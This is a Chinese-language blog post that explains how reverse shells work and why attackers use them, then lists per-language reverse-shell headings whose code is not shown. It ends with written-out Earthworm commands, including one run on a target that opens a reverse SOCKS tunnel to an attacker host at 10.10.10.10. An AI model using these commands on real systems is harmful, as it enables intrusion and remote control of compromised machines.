反弹Shell大全与原理

  • 发表于
  • 周边 , 安全工具

什么是反弹shell

reverse shell(反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹Shell大全与原理

为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。
  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
  3. 对方的ip会动态改变,你不能持续控制。
  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。在渗透测试过程中,得到webshell后一般我们会反弹shell

反弹shell原理

  1. A主机开启9090端口的tcp服务
  2. B主机连接到A主机的9090的tcp服务
  3. A主机通过tcp服务把命令发到B主机
  4. B主机读取命令并且在bash中执行
  5. B主机把执行结果发给A主机

这样就可以在A主机中'操控'B主机了

反弹shell操作步骤

  1. 在本机开启并监听端口
  2. 在需要被控制的机器上执行反弹shell命令
  3. 在本机监听反弹shell的端口

反弹shell大全

反弹Shell大全与原理

Bash反弹shell

Bash反弹shell TCP

Bash反弹shell UDP

NC反弹shell

perl反弹shell

Python反弹shell

Linux

Windows Python反弹shell

Golang反弹shell

Ncat反弹shell

OpenSSL反弹shell

crontab反弹shell

PHP反弹shell

Powershell反弹shell

Ruby反弹shell

不依赖于/bin/sh的反弹shell

如果目标系统运行Windows反弹shell

Java反弹shell

socat反弹shell

Lua反弹shell

Linux

Windows

Telnet反弹shell

获取反弹shell后,可使用python获得交互式shell

Nodejs反弹shell

C反弹shell

UDP反弹shell

MSF生成反弹shell

metasploit 是一个非常强大的渗透工具箱,当然也包括了反弹语句的生成与接收反弹shell的平台。它也能生成反弹shell一句话

msfvenom 有点类似于生成的语句,当然这个工具还可以用来生成shellcode之类的。-l 是查找所有的pyaloads。cmd/unix/reverse 是关键词过滤。为了找到攻击debain的语句,就加了个正则。

生成bash反弹shell

WIndows反弹shell补充

除了上面这些可以通用的语言反弹shell之外,可能最重要的就是powershell了,当然还有vbs(2003以下的系统),所以Windows反弹shell还是非常重要的技能。

powercat反弹shell,其实就是powershell版的netcat

然后,把payload.ps1丢到目标机器上去执行

扩展

ew(Earthworm)网络穿透工具反弹Shell

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透,亦可用于反弹Shell等。属于Hacking Tools

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内

Earthworm下载

Earthworm使用

上传ew.exe 然后在本地执行:ew.exe -s rcsocks -l 1008 -e 888 说明:监听888端口,把接收到的数据转到本地的1008端口。

在目标上执行ew.exe -s rssocks -d 10.10.10.10 -e 888 说明:开启sockes 并反弹到ip地址为10.10.10.10 端口为888 反弹代理成功以后,本地会出现rssocks cmd_socket ok!

现在打开我们的SocksCap64,新建一个代理。 ip为127.0.0.1端口为1008,配置好了以后,点击保存。 现在我们把需要走代理的工具都放到SocksCap64里面。